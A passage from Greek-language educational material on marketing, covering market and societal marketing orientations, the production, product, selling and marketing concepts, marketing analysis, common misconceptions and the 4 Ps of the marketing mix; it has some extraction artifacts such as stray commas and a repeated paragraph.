επιχειρήσεις να είναι σε θέση να κατανοούν τις ανάγκες των καταναλωτών και να εστιάζουν τις προσπάθειες τους στην προσφορά της καλύτερης, δυνατής αξίας σε αυτούς». Ο βασικός στόχος των επιχειρήσεων που είναι προσανατολισμένες στην αγορά, επικεντρώνεται στο εξής ερώτημα: «Τι επιθυμεί να αγοράσει ο καταναλωτής που μπορεί με κέρδος να κατασκευάσει η επιχείρησή μας;» Έτσι, στόχος του μάρκετινγκ είναι να, εντοπιστούν μέσω της έρευνας μάρκετινγκ οι φανερές και οι λανθάνουσες ανάγκες και επιθυμίες των καταναλωτών. Η πρόσφατη αυτή θεώρηση της διοίκησης μιας επιχείρησης αναγνωρίζει το γεγονός ότι ο σημερινός καταναλωτής δεν αγοράζει πλέον προϊόντα ή υπηρεσίες, αλλά οφέλη και ότι όλοι μέσα στην επιχείρηση υπάρχουν για να συμβάλλουν, στην προσφορά οφέλους και αξίας στον καταναλωτή. Άλλωστε οι πωλητές της εταιρείας έκαναν εξαιρετική δουλειά. Εν συνεχεία ακολουθώντας, νέες καινοτόμες ιδέες στράφηκε στην παραγωγή νέων συσκευών που κάλυψαν τις ανάγκες των πελατών της, όπως για παράδειγμα βιντεοκάμερες, κινητά τηλέφωνα, και ασύρματα τηλέφωνα (προσανατολισμός στο marketing). Αυτά επιθυμούσαν οι καταναλωτές αυτή την περίοδο και για αυτό η Sony προώθησε προϊόντα τα οποία ήταν αρεστά και χρήσιμα στους, καταναλωτές της. Όλες αυτές οι κινήσεις έγιναν μετά από την διεξαγωγή έρευνα αγοράς. Ολοκληρώνοντας φθάνουμε στη σημερινή σύγχρονη εποχή, με πλήρη προσανατολισμό στο σύστημα marketing το οποίο παράγει και προωθεί για παράδειγμα κινητά τηλέφωνα που, λειτουργούν και έως ηλεκτρονικοί υπολογιστές, κινητά τηλέφωνα αφής, ηλεκτρικές συσκευές που όπως υποστηρίζουν οι κατασκευαστές “αισθάνονται”. Ο προσανατολισμός, στο στάδιο αυτό ακολουθεί τις ανάγκες των καταναλωτών και προς αυτές είναι στραμμένοι όλοι οι τομείς και οι διευθύνσεις της επιχείρησης. Με αυτή την επιχειρησιακή λογική η Sony βρίσκεται τόσα χρόνια πρώτη σε πωλήσεις και επιλέγεται από την πλειοψηφία του, καταναλωτικού κοινού. Με τον προσανατολισμό της επιχείρησης προς την αγορά, η φιλοσοφία του μάρκετινγκ είναι παρούσα σε κάθε δραστηριότητά της. Οι επιχειρήσεις που ακολουθούν αυτήν τη, φιλοσοφία, αποδέχονται ότι η αγορά ενός προϊόντος ή μιας υπηρεσίας πρέπει να είναι εμπειρία

μοναδικά θετική και αξέχαστη για τον πελάτη, και προσπαθούν συνεχώς να, υπερβούν τις προσδοκίες του και να του προσφέρουν «το κάτι παραπάνω». Αυτό μπορεί να είναι μια δωρεάν παράδοση στο σπίτι για τα φυτά που αγόρασε, ένα παγωτό στη διάρκεια μιας πτήσης εσωτερικού ή κάρτα δωρεάν χρήσης των μέσων, μεταφοράς κατά τη διάρκεια παραμονής ενός επισκέπτη σε μια πόλη. Αυτός ο προσανατολισμός προϋποθέτει τη δημιουργία στην επιχείρηση τμήματος μάρκετινγκ, με αρμοδιότητα την πρόβλεψη των μελλοντικών τάσεων στην αγορά και με την επινόηση των καταλλήλων καινοτομιών, προκειμένου να εκμεταλλευτεί η επιχείρηση αυτές τις τάσεις και να εξασφαλίζουν ανάπτυξη και μακροχρόνια κερδοφορία. Το τμήμα μάρκετινγκ έχει, κεντρικό ρόλο στην επιχείρηση και συνεργάζεται άμεσα με τις άλλες διευθύνσεις, στρέφοντάς τις κι αυτές προς τις απαιτήσεις της αγοράς. Κατά τη διάρκεια αυτού του τρίτου σταδίου διαπιστώνεται ότι ούτε η ποιότητα των προϊόντων αλλά ούτε και η δραστηριότητα των πωλήσεων είναι σε θέση να εξασφαλίσουν τα επιθυμητά κέρδη στην επιχείρηση. Επίσης συνειδητοποιείται ότι ο μόνος δρόμος που, οδηγεί σε αυξημένες πωλήσεις είναι η προσαρμογή της παραγωγής τόσο από ποιοτικής όσο και από ποσοτικής άποψης στις ανάγκες ή επιθυμίες του καταναλωτή ή χρήστη. Έτσι λοιπόν η έρευνα μάρκετινγκ αρχίζει να αποκτά ιδιαίτερη σημασία στην επιχείρηση. Η διαφήμιση προϊόντων γίνεται ουσιαστικότερη και η επίδραση που ασκεί αυτή στον, επιθυμητό

προσανατολισμό

του

πελάτη-καταναλωτή

αποτελεσματικότερη.

Στην

πραγματικότητα, αυτός ο προσανατολισμός προς τις προτιμήσεις, επιθυμίες και ανάγκες των καταναλωτών, μπορεί να χαρακτηριστεί ως πιο δημοκρατική περίοδος του μάρκετινγκ. Επιχειρώντας έναν παραλληλισμό μεταξύ της επιστήμης του μάρκετινγκ και της επιστήμης του μάνατζμεντ, μπορούμε να πούμε ότι, παράλληλα με τη μετάβαση προς ένα πιο, συμμετοχικό δημοκρατικό περιβάλλον μάνατζμεντ, το μάρκετινγκ έχει εξελιχθεί, έτσι ώστε να αναγνωρίσει και να αποδεχθεί την ευρύτερη συμμετοχή από την πλευρά του καταναλωτή, ο οποίος, ως τελικό αποτέλεσμα, θεωρείται "ο βασιλιάς", ο οποίος κυριαρχεί στην αγορά. Κανένα προϊόν ή υπηρεσία δε μπορεί να λανσαριστεί στην αγορά, χωρίς να, έχει προηγηθεί η διερεύνηση των αγοραστικών προθέσεων των καταναλωτών, με βάση τις οποίες θα διαμορφωθούν τα ξεχωριστά χαρακτηριστικά του συγκεκριμένου προϊόντος ή της υπηρεσίας. Το τελικό αποτέλεσμα της διαδικασίας του μάρκετινγκ, στην Εποχή του μάρκετινγκ, είναι "η ικανοποίηση των αναγκών και επιθυμιών του καταναλωτή αποτελεσματικά και επικερδώς", επισφραγίζοντας με το μακροοικονομικό αποτέλεσμα της εξάλειψης των ελλείψεων,ζήτησης

και προσφοράς και την αειφορική οικονομική ισορροπία. Ο προσανατολισμός στο στάδιο αυτό, προσδίδει στην επιχείρηση την ικανότητα να παρέχει ανώτερη αξία στον πελάτη, γεγονός που την οδηγεί σε απόκτηση ανταγωνιστικού, πλεονεκτήματος και κατά συνέπεια σε επιτυχία. Προσανατολισμός στο κοινωνικό μάρκετινγκ (social marketing) Ο προσανατολισμός προς το κοινωνικό μάρκετινγκ είναι η τελευταία περίοδος που διαρκεί μέχρι σήμερα. Από την δεκαετία του 1970 εκτός από τους στόχους του κέρδους και της ικανοποίησης των αναγκών του καταναλωτή οι επιχειρήσεις άρχισαν να αντιλαμβάνονται, την κοινωνική τους ευθύνη. Κοινωνικό μάρκετινγκ (social marketing), είναι η χρήση μεθόδων και τεχνικών του εμπορικού μάρκετινγκ για τη μελέτη και την εφαρμογή, προγραμμάτων σχεδιασμένων για να φέρουν κοινωνικές αλλαγές. Ο όρος χρησιμοποιήθηκε για πρώτη φορά το 1971 από τους Philip Kotler και Gerald Zaltman, οι οποίοι διαπίστωσαν ότι οι ίδιοι κανόνες μάρκετινγκ που χρησιμοποιούνται για να πουληθούν προϊόντα σε, καταναλωτές μπορούν να χρησιμοποιηθούν για να "πουληθούν" ιδέες, στάσεις, και συμπεριφορές. Ο Kotler γράφει για το social marketing ότι «διαφέρει από τις άλλες περιοχές του μάρκετινγκ, μόνο στον αντικειμενικό σκοπό του marketer και της οργάνωσής του». Στο social marketing η προσπάθεια επηρεασμού των κοινωνικών συμπεριφορών, γίνεται όχι για να ωφεληθεί ο marketer, αλλά για να ωφεληθεί το κοινό-στόχος και γενικότερα το κοινωνικό σύνολο. Κατά τη διάρκεια αυτού του τέταρτου σταδίου στο οποίο οδήγησε βασικά η διαμόρφωση των κοινωνικών και οικονομικών συνθηκών στη δεκαετία, του 1970, συνειδητοποιείται από την επιχείρηση ότι το μάρκετινγκ που έχει μπει πια για τα καλά στη ζωή της, πρέπει να γίνεται με κοινωνική υπευθυνότητα αν θέλει να επιτύχει τους στόχους της και πολύ περισσότερο να επιβιώσει οικονομικά σε μακριά προοπτική. Επίσης συνειδητοποιείται από την επιχείρηση ότι, σημαντικό ρόλο στην διαμόρφωση ενός προγράμματος μάρκετινγκ που θέλει να εφαρμόσει παίζουν σημαντικό ρόλο ορισμένοι, παράγοντες όπως είναι η δυσαρέσκεια των καταναλωτών, η ανησυχία των ανθρώπων για τα οξυμένα περιβαλλοντικά προβλήματα, οι πολιτικοί και νομικοί φραγμοί. Επίσης συνειδητοποιείται από την επιχείρηση ότι, σημαντικό ρόλο στην διαμόρφωση ενός προγράμματος μάρκετινγκ που θέλει να εφαρμόσει παίζουν σημαντικό ρόλο ορισμένοι, παράγοντες όπως είναι η δυσαρέσκεια των καταναλωτών, η ανησυχία των ανθρώπων για τα οξυμένα περιβαλλοντικά προβλήματα, οι πολιτικοί και νομικοί φραγμοί. Το κοινωνικό μάρκετινγκ λειτουργεί για να βοηθήσει τους ανθρώπους να αλλάξουν τις συμπεριφορές τους, να ζήσουν μια πιο υγιεινή ζωή ή για να βελτιώσουν την κοινωνική,

συνοχή και ποιότητα ζωής τους. Οι ενδεικνυόμενοι τρόποι πραγμάτωσης της κοινωνικής αλλαγής, π.χ. ως προς την ποιοτική αναβάθμιση της υγείας και του τρόπου ζωής των, πολιτών, κατά κύριο λόγο είναι: •

Η εκπαίδευση, δια της οποίας χρησιμοποιούνται ορθολογικοί τρόποι και γεγονότα, προκειμένου οι άνθρωποι να αλλάξουν τις στάσεις και τις συμπεριφορές τους.

•

Ο εξαναγκασμός, που ωθεί τους ανθρώπους στην αλλαγή της συμπεριφοράς τους μέσα από την επιβολή προστίμων ή τιμωρίας στην περίπτωση που αρνηθούν να, αλλάξουν.

Κάπου μεταξύ των δύο αυτών ορίων βρίσκεται το κοινωνικό μάρκετινγκ όπου με τη χρήση μεθόδων του εμπορικού μάρκετινγκ γίνεται προσπάθεια οι άνθρωποι να αλλάξουν τις, συμπεριφορές τους για λόγους που πάνε πέρα από τη λογική, ώστε να αγγίξουν τις βαθιές τους αξίες και ευαισθησίες. Το κοινωνικό μάρκετινγκ ασχολείται με την εφαρμογή της, γνώσης του μάρκετινγκ, τις ιδέες και τεχνικές που απορρέουν από αυτό, για την ενίσχυση κοινωνικών, καθώς και οικονομικών σκοπών. Ασχολείται επίσης με την ανάλυση των, κοινωνικών συνεπειών που απορρέουν από τις πολιτικές μάρκετινγκ, τις εκάστοτε αποφάσεις και τις δραστηριότητες.

Η φιλοσοφία του μάρκετινγκ, φαίνεται από τις μέχρι τώρα αναφορές ότι είναι μια σωστή μέθοδος για την διαχείριση της επιχείρησης. Παρ’ όλα αυτά πολλοί επιχειρηματίες, πιστεύουν πως η ικανοποίηση του καταναλωτή δεν είναι, οπωσδήποτε, ο καλύτερος τρόπος πραγματοποίησης πωλήσεων και κερδών. Το να ξεκινάς από το ποια είναι η χρησιμότητα, για τον πελάτη, από το τι αγοράζει ο πελάτης, από το ποιες είναι οι πραγματικότητες του, πελάτη και ποιες είναι οι αξίες του, αυτό είναι το μάρκετινγκ. Άλλα γιατί ύστερα από, σαράντα χρόνια που κηρύσσεται το μάρκετινγκ, διδάσκεται το μάρκετινγκ, εφαρμόζεται το μάρκετινγκ, τόσοι λίγοι είναι διατεθειμένοι να το ακολουθήσουν, δεν μπορεί να εξηγηθεί. Γενικά, μπορούμε να πούμε ότι το μάρκετινγκ πέρασε από διάφορες φάσεις μέχρι να, εξελιχθεί στη σημερινή του μορφή, αυτή που ονομάζουμε αντίληψη (ή φιλοσοφία) του μάρκετινγκ (marketing concept). Η αντίληψη της παραγωγής (production concept) Σύμφωνα με αυτήν οι καταναλωτές θα προτιμήσουν εκείνα τα προϊόντα που είναι ευρέως διαθέσιμα και έχουν χαμηλή τιμή, γι’ αυτό το λόγο το μάνατζμεντ πρέπει να εστιάσει την, προσοχή του στο να βελτιώσει την παραγωγή και την διανομή ικανοποιητικά. Ωστόσο, στην εποχή μας η παραγωγή των προϊόντων είναι εύκολη υπόθεση για τις περισσότερες εταιρίες.

Το πρόβλημα δεν είναι τεχνικό. Το πρόβλημα είναι να παραχθούν τα προϊόντα που, χρειάζονται και επιθυμούν οι καταναλωτές. Η αντίληψη του προϊόντος (product concept) Σύμφωνα με αυτήν, οι καταναλωτές θα προτιμήσουν εκείνα τα προϊόντα που προσφέρουν, την καλύτερη ποιότητα, χαρακτηριστικά κλπ. Το πρόβλημα με αυτήν την αντίληψη είναι ότι πολλές φορές η ποιότητα καθορίζεται από τους κατασκευαστές του προϊόντος και όχι από τους πελάτες. Η επιχείρηση «ερωτεύεται» το προϊόν της αντί να «ερωτευθεί» τους πελάτες της και θεωρεί ότι «ξέρει καλύτερα». Διακατέχεται από μια εσωστρέφεια, ενώ θα έπρεπε να, παρακολουθεί τις ανάγκες και τις επιθυμίες των καταναλωτών και να δημιουργεί τα ανάλογα προϊόντα. Αυτή η κατάσταση οδηγεί πολλές φορές σε αυτό που οι marketers, ονομάζουν «bettermousetrap fallacy» (ή marketing myopia). Για παράδειγμα, κάποτε η IBM κατασκεύαζε τα καλύτερα mainframe computers ενώ είναι γνωστή και η ρήση που, συνήθως αποδίδεται στον ιδρυτή της Watson ότι η παγκόσμια ζήτηση για pc δεν μπορεί να ξεπεράσει τα πέντε pc! Η IBM είχε ερωτευθεί τα mainframes και απέτυχε να δει εγκαίρως, ότι το μέλλον βρισκόταν στα pc. Πίστευε ότι αν φτιάξει ένα καλύτερο mainframe (μια καλύτερη ποντικοπαγίδα δηλαδή). Οι πελάτες θα έτρεχαν να το αγοράσουν, ενώ στην, πραγματικότητα οι πελάτες προτιμούσαν τα pc (ένα, πχ, ποντικοκτόνο σπρέι ). Με άλλα λόγια, οι πελάτες δεν αγοράζουν προϊόντα αλλά λύσεις. Η αντίληψη της πώλησης (selling concept) Σύμφωνα με αυτήν την αντίληψη, οι καταναλωτές πρέπει να πιεστούν ώστε να αγοράσουν, το προϊόν. Όπως αναφέρθηκε παραπάνω, η αντίληψη αυτή συνίσταται στο να πουλήσουμε αυτό που φτιάχνουμε και όχι αυτό που θέλουν οι πελάτες. Η αντίληψη αυτή είναι, προφανές ότι δεν συνεισφέρει στην επιτυχία της επιχείρησης και αυτό διότι επικεντρώνεται στις ανάγκες του πωλητή, απασχολείται κυρίως δηλαδή με την ανάγκη του πωλητή να, μετατρέψει σε χρήμα τα προϊόντα του και όχι με τις ανάγκες του πελάτη. Η αντίληψη της πώλησης έχει εσω-εξωτερική κατεύθυνση. Εκκινεί, δηλαδή, από το εσωτερικό της, επιχείρησης, επικεντρώνεται στα προϊόντα της επιχείρησης, απαιτεί ένταση της προσπάθειας πώλησης και της προώθησης και εξασφαλίζει (βραχυπρόθεσμα) κέρδη μέσω των πωλήσεων. Το πρόβλημα με την αντίληψη της πώλησης είναι ότι, ακόμη και αν, πεισθούν οι καταναλωτές να αγοράσουν το προϊόν, δεν θα μείνουν ικανοποιημένοι από αυτό αν δεν καλύπτει τις ανάγκες

τους με αποτέλεσμα να χάσουν την εμπιστοσύνη τους, στην εταιρία αλλά και να κάνουν δυσμενή σχόλια γι’ αυτήν σε άλλους εν δυνάμει πελάτες. Και, φυσικά, αυτό δεν είναι ό,τι καλύτερο για μια επιχείρηση. Θα μπορούσαμε να πούμε ότι η αντίληψη της πώλησης είναι η κυρίαρχη αντίληψη στις ελληνικές επιχειρήσεις. Όπως, όμως, έχει πει και ο Drucker: «Ο σκοπός του μάρκετινγκ είναι να κάνει την πώληση, αχρείαστη». Η αντίληψη του μάρκετινγκ (marketing concept) Σύμφωνα με την αντίληψη αυτή, το κλειδί για την επίτευξη των στόχων της επιχείρησης, συνίσταται στον καθορισμό των αναγκών και επιθυμιών των αγορών - στόχων και στην, εξασφάλιση της απαραίτητης ικανοποίησής τους. Περισσότερο επιτυχημένα και αποδοτικά από ό,τι οι ανταγωνιστές μπορούν να το κάνουν. Σε αντίθεση με την αντίληψη της πώλησης, η αντίληψη του μάρκετινγκ έχει έξωεσωτερική κατεύθυνση. Ξεκινά από το περιβάλλον της επιχείρησης, δηλαδή από τη διερεύνηση της αγοράς, επικεντρώνεται στις ανάγκες του, πελάτη, απαιτεί ένταση της συνολικής προσπάθειας μάρκετινγκ και εξασφαλίζει κέρδη, μέσω της ικανοποίησης των πελατών.

Η αντίληψη του κοινωνικού μάρκετινγκ (societal marketing concept) Σύμφωνα με αυτήν, την νεότερη αντίληψη του μάρκετινγκ, ισχύει ό,τι και στην, προαναφερθείσα αντίληψη του μάρκετινγκ με την διαφορά ότι πρέπει να λαμβάνεται υπόψη και η μακροπρόθεσμη ευημερία του καταναλωτή αλλά και της κοινωνίας στο σύνολό της. Δηλαδή, πρέπει ο οργανισμός να καθορίζει τις ανάγκες, τις επιθυμίες και τα ενδιαφέροντα των αγορών στόχων. Το κοινωνικό μάρκετινγκ ασχολείται κυρίως με τα, προβλήματα που αφορούν την κοινωνία ως σύνολο όπως τα περιβαλλοντολογικά, προβλήματα, την έλλειψη φυσικών πόρων, την συνεχή αύξηση του πληθυσμού, τον πληθωρισμό κτλ. Παράδειγμα ορισμένοι πιστεύουν ότι η coca-cola περιέχει καφεΐνη και, μπορεί να προκαλέσει κακό στα δόντια, στο νευρικό σύστημα κλπ. Αυτό είναι ένα κοινωνικό πρόβλημα που μπορεί να οδηγήσει σε διαμάχη μεταξύ κοινωνικών ομάδων και προφανώς, να επηρεάσει την στρατηγική μάρκετινγκ και του προϊόντος.

Εκπαιδευτική Υποενότητα 9.2 Διαδικασίες Mάρκετινγκ Το μάρκετινγκ είναι ανάλυση. Το ερώτημα που προκύπτει είναι «ανάλυση τίνος πράγματος»;

Ανάλυση των καταναλωτών Η ανάλυση των καταναλωτών είναι, προφανώς, το πρώτο είδος ανάλυσης που πρέπει να, γίνει. Ποια είναι η συμπεριφορά των καταναλωτών, ποια είναι τα κίνητρά τους, ποιες είναι οι αντιλήψεις τους, ποιες είναι οι προτιμήσεις τους, ποιες είναι οι ανάγκες τους, ποιες είναι οι επιθυμίες τους; Φυσικά, όταν μιλούμε για καταναλωτές δεν αναφερόμαστε στο σύνολο των καταναλωτών μιας αγοράς. Είναι σπανιότατο το φαινόμενο να μπορεί μια επιχείρηση, να ικανοποιήσει το σύνολο της αγοράς. Σκοπός, επομένως, της συγκεκριμένης ανάλυσης είναι, μεταξύ άλλων, ο χωρισμός της αγοράς σε τμήματα -η λεγόμενη τμηματοποίηση, (segmentation). Για παράδειγμα, τα κριτήρια που οδηγούν έναν καταναλωτή στην αγορά ενός pc είναι πολλά και διάφορα -άλλος θέλει το pc για να κάνει δουλειές γραφείου, άλλος για να παίζει παιχνίδια, άλλος για να σχεδιάζει κ.ο.κ. Επομένως, η αγορά των pc χωρίζεται σε τμήματα, τα οποία ο marketer θα πρέπει να, μελετήσει, ώστε να διαπιστώσει ποιο (ή ποια) από όλα αυτά τα τμήματα προσφέρει την μεγαλύτερη ευκαιρία για την επιχείρηση και ακολούθως να στοχεύσει σε αυτό (ή αυτά). Τα κριτήρια που χρησιμοποιούν οι marketers για την τμηματοποίηση της αγοράς είναι, δημογραφικά, ψυχογραφικά, συμπεριφορικά κ.λπ. Ανάλυση του ανταγωνισμού Ακούγεται συχνά στις μέρες μας ότι ο επιχειρηματικός ανταγωνισμός είναι οξύς. Και έτσι είναι. Ωστόσο, οι περισσότερες εταιρείες δεν δίνουν ιδιαίτερη βάση στην ανάλυση του, ανταγωνισμού τους. Και όταν λέμε ανάλυση δεν εννοούμε φυσικά να γράψουμε απλά σε ένα χαρτί τα ονόματα των ανταγωνιστριών εταιρειών. Ποιοι είναι οι στόχοι τους; Ποιες είναι οι δυνάμεις τους; Ποιες είναι οι αδυναμίες τους; Ποιες είναι οι πιθανές αντιδράσεις, τους στην δική μας στρατηγική μάρκετινγκ; Ανάλυση της εταιρείας Κάποιες εταιρείες «τρώνε τα μούτρα τους» διότι ποτέ δεν ανέλυσαν ποια είναι τα δυνατά τους σημεία, οι αδυναμίες τους, οι ικανότητές τους κλπ. Μπορεί η εταιρεία να κάνει αυτό, που θέλει να κάνει; Στο άκουσμα της φράσης «ανάλυση της εταιρείας» το μυαλό μας πάει συνήθως σε χρηματοοικονομικούς δείκτες. Υπάρχουν όμως και άλλοι παράμετροι που πρέπει να αναλυθούν όπως είναι, π.χ., η κουλτούρα της εταιρείας, παράμετρος που ίσως είναι αν όχι η πιο σημαντική μια από τις πιο σημαντικές για την επιτυχία κάθε επιχείρησης.

Το

μάρκετινγκ, λοιπόν, είναι ανάλυση. Ανάλυση των καταναλωτών, του ανταγωνισμού, της εταιρείας κ.λπ. Από την ανάλυση απορρέει και το σωστό positioning. Με άλλα λόγια, το

μάρκετινγκ έχει να κάνει περισσότερο με την στρατηγική παρά με τις τακτικές. Οι τακτικές, (π.χ. email marketing) θα στηρίξουν το positioning. Τόσο όμως το σωστό positioning όσο και ο σωστός σχεδιασμός των τακτικών πρέπει να εκπορεύονται από την ανάλυση. Γιατί δεν, ισχύει αυτό στις περισσότερες ελληνικές επιχειρήσεις; Ανακρίβειες στην κατανόηση του Μάρκετινγκ Ανακρίβεια 1: Το μάρκετινγκ είναι εκλεπτυσμένη μορφή πώλησης. Αυτό πιστεύουν οι, περισσότεροι άνθρωποι. Θεωρούν ότι το μάρκετινγκ αποτελεί χειραγώγηση του καταναλωτή και ότι αυξάνει τις τιμές των προϊόντων. Υπό αυτήν την αντίληψη, η προστιθέμενη αξία που συνεισφέρει το μάρκετινγκ συνίσταται στο «φόρτωμα» του, προϊόντος φυσικά στον διπλασιασμό της τιμής! Ωστόσο, το μάρκετινγκ δεν είναι η πώληση, αν και η πώληση είναι μέρος του μάρκετινγκ. Η πώληση είναι να κάνεις τον καταναλωτή να αγοράσει αυτό που πουλάς, ενώ το μάρκετινγκ είναι να πουλήσεις στον καταναλωτή αυτό που θέλει. Με άλλα λόγια, το μάρκετινγκ προϋπάρχει, της πώλησης με την έννοια ότι ξεκινάει πολύ πριν δημιουργηθεί το προς πώληση προϊόν. Πρώτα εξακριβώνονται οι ανάγκες και οι επιθυμίες των καταναλωτών καθώς και η δυνατότητα της επιχείρησης να τις καλύψει επικερδώς και ύστερα δημιουργείται το προϊόν. Αλλά το μάρκετινγκ δεν σταματάει εκεί. Βρίσκεται σε συνεχή αλληλεπίδραση με την αγορά, και μετά την δημιουργία του προϊόντος. Ανακρίβεια 2: Το μάρκετινγκ είναι η διαφήμιση, η προώθηση πωλήσεων, οι δημόσιες σχέσεις κ.λπ. Όπως και παραπάνω έτσι και εδώ μπορούμε να πούμε ότι το μάρκετινγκ, εμπεριέχει αυτές τις δραστηριότητες αλλά δεν περιορίζεται σε αυτές. Γεγονός παραμένει, πάντως, ότι η καλύτερη διαφημιστική καμπάνια δεν μπορεί να στηρίξει ένα κακό προϊόν, ένα προϊόν δηλαδή που έχει σχεδιαστεί χωρίς να έχουν ληφθεί υπόψη οι ανάγκες και οι, επιθυμίες των καταναλωτών -στην πραγματικότητα θα το «σκοτώσει» γρηγορότερα διότι όπως λέμε στο μάρκετινγκ «nothing will kill a poor product faster than good advertising». Πολλές φορές, δυστυχώς, οι εταιρίες προσπαθούν να λύσουν θέματα που άπτονται του μάρκετινγκ απλά και μόνο ξοδεύοντας τεράστια ποσά σε διαφημιστικές καμπάνιες που, μπορεί μεν να κερδίζουν βραβεία δημιουργικότητας αλλά δεν έχουν καμία θετική επίδραση. Στην προώθηση του προϊόντος γιατί έχουν σχεδιαστεί χωρίς να έχει προηγουμένως υπάρξει ο σωστός σχεδιασμός μάρκετινγκ. Όταν η διαφήμιση καλείται να, λύσει προβλήματα μάρκετινγκ (και όχι προβλήματα επικοινωνιακά) αποτυγχάνει οικτρά. Ανακρίβεια 3: Μάρκετινγκ είναι αυτό που κάνει το τμήμα μάρκετινγκ. Στον ορισμό αυτόν πρέπει να προσθέσουμε τις λέξεις: όταν υπάρχει. Λίγες είναι οι επιχειρήσεις που έχουν, οργανωμένο τμήμα μάρκετινγκ ενώ ακόμη και αυτές που έχουν τέτοιο τμήμα τις,

περισσότερες φορές έχουν τμήμα πωλήσεων και όχι μάρκετινγκ. Ακόμη, όμως, και η, ύπαρξη ενός πραγματικού τμήματος μάρκετινγκ δεν σημαίνει ότι «μάρκετινγκ είναι αυτό που κάνει το τμήμα μάρκετινγκ» διότι το μάρκετινγκ δεν είναι δουλειά ενός τμήματος αλλά μια φιλοσοφία που πρέπει να εμποτίζει κάθε κύτταρο της επιχείρησης. Όπως είχε πει και ο David Packard, συνιδρυτής της Hewlett Packard, αναφερόμενος στην σημασία του, μάρκετινγκ: «Το μάρκετινγκ είναι πάρα πολύ σπουδαίο για να το αφήσουμε στα χέρια του, τμήματος μάρκετινγκ». Αυτό που προφανώς εννοούσε ο Packard είναι ότι το μάρκετινγκ, πρέπει να αντιμετωπίζεται ως φιλοσοφία που εφαρμόζεται από κάθε μέλος της επιχείρησης από τον πρόεδρό της μέχρι τον τελευταίο υπάλληλο. Ο όρος μίγμα μάρκετινγκ σημαίνει το συνδυασμό και συντονισμό των διαφόρων, ελεγχόμενων μεταβλητών του μάρκετινγκ, τις οποίες διαλέγει η επιχείρηση και που προσδιορίζουν το πρόγραμμα μάρκετινγκ της επιχείρησης για να ικανοποιήσει μια, συγκεκριμένη ομάδα καταναλωτών, προς τους οποίους επιθυμεί να απευθυνθεί σε μια δεδομένη

χρονική

περίοδο.

Το

«μίγμα

του

μάρκετινγκ»

είναι

ένα

σύστημα

αλληλεξαρτημένων και αλληλοσχετιζόμενων δραστηριοτήτων του μάρκετινγκ που, σχεδιάστηκαν για να ικανοποιήσουν τις ανάγκες των πελατών και τους στόχους της επιχείρησης. Ο καθορισμός του μίγματος του μάρκετινγκ μπορεί να θεωρηθεί σαν η πιο σπουδαία απόφαση που παίρνει η διοίκηση. Τα κεφάλαια και οι διάφοροι πόροι της, επιχείρησης πρέπει να κατανεμηθούν προσεκτικά ανάμεσα στις διάφορες διευθύνσεις, τμήματα και λειτουργίες μέσα σ’ αυτά. Στις αρχές της δεκαετίας του '60, ο καθηγητής Neil Borden στο επιχειρησιακό σχολείο του Χάρβαρντ, προσδιόρισε διάφορες ενέργειες απόδοσης επιχείρησης που μπορούν να, επηρεάσουν την καταναλωτική απόφαση της αγοράς των αγαθών ή των υπηρεσιών. Ο Borden πρότεινε ότι όλες εκείνες οι ενέργειες της επιχείρησης αντιπροσώπευσαν ένα, «μίγμα μάρκετινγκ». Ο καθηγητής Ε. Ο Jerome McCarthy, επίσης στο επιχειρησιακό σχολείο του Χάρβαρντ στις αρχές της δεκαετίας του '60, πρότεινε ότι το μίγμα μάρκετινγκ περιέλαβε 4 στοιχεία: προϊόν, τιμή, θέση και προώθηση. Στη δημοφιλή χρήση, «το μάρκετινγκ» είναι η προώθηση των προϊόντων, ειδικά η διαφήμιση. Εντούτοις, στην επαγγελματική χρήση ο, όρος έχει μια ευρύτερη έννοια, αυτή της εμπορευματοποίησης των προϊόντων με επίκεντρο τον πελάτη. Τα προϊόντα αναπτύσσονται συχνά για να συναντήσουν τις επιθυμίες των, ομάδων πελατών ή ακόμα και σε μερικές περιπτώσεις συγκεκριμένων πελατών. Ο καθηγητής Ε. Jero στην έρευνα του μίλησε για διαιρεμένο μάρκετινγκ σε τέσσερα γενικά σύνολα δραστηριοτήτων. Η τυπολογία του αυτή έχει γίνει παγκοσμίως αναγνωρισμένη, τα

τέσσερα P δηλαδή. Τα τέσσερα λοιπόν αυτά στοιχεία του μάρκετινγκ είναι: Product, Price, Place, Promotion (δηλ. προϊόν, τιμή, τόπος, προώθηση). Τα 4 P σχηματίζουν το μίγμα, μάρκετινγκ (marketing mix). Προϊόν Το πετυχημένο προϊόν δεν το αγοράζουν οι καταναλωτές, το πωλούν οι παραγωγοί. Προϊόν είναι το σύνολο των φυσικών και ψυχολογικών ικανοποιήσεων, τις οποίες προσφέρει στον, αγοραστή. Σε πολλές περιπτώσεις μόνο η πρώτη από αυτές τις ικανοποιήσεις είναι σπουδαία. Υπάρχουν όμως πολλές περιπτώσεις κατά τις οποίες οι ψυχολογικές, ικανοποιήσεις αποτελούν ένα από τα πιο σημαντικά χαρακτηριστικά του προϊόντος. Αναφέρεται όχι μόνο στο φυσικό προϊόν, αλλά και στις σχετικές υπηρεσίες που το συνοδεύουν, όπως είναι η ονομασία και το σήμα του προϊόντος, η συσκευασία και, τυποποίηση, οι διάφορες ποικιλίες του προϊόντος κλπ. Κάθε προϊόν μπορεί να θεωρηθεί σαν ένα σύνολο τεχνικών και συμβολικών χαρακτηριστικών. Τα χαρακτηριστικά αυτά είναι αξίες, από οικονομικής σκοπιάς, διότι έχουν κόστος παραγωγής αλλά και ενσωματώνουν, χρησιμότητες που μπορούν να δημιουργούν ωφέλεια σε αυτούς που αγοράζουν το προϊόν που έχει αυτά τα χαρακτηριστικά. Αναλυτικότερα για το προϊόν, το στέλεχος του τμήματος μάρκετινγκ πρέπει να λάβει υπόψη του τα χαρακτηριστικά του, τις ιδιότητες του, την αξία, που προσφέρει στον καταναλωτή τόσο χρηστική (δηλαδή με τη χρήση του προϊόντος), όσο και τη συναισθηματική (το στυλ, κύρος του προϊόντος όπως π.χ. ένα γρήγορο αυτοκίνητο). Τιμή Όσον αφορά την τιμολόγηση αυτή πρέπει να είναι αντίστοιχη του προϊόντος, της ποιότητας κατασκευής του και της αξίας που προσφέρει στον καταναλωτή (τόσο χρηστική αξία όσο, και συναισθηματική). Έτσι μπορεί ένα απλό αντικείμενο με πολύ μικρό κόστος κατασκευής, μεσαίας ποιότητας και χωρίς μεγάλη χρησιμότητα (π.χ. ένα μπρελόκ) να πωλείται ακριβά, λόγω της συναισθηματικής αξίας που προσφέρει (π.χ. ένα μπρελόκ με το σήμα της Ferrari). Βασικό στοιχείο του marketing μιας εταιρίας είναι η διαδικασία τιμολόγησης 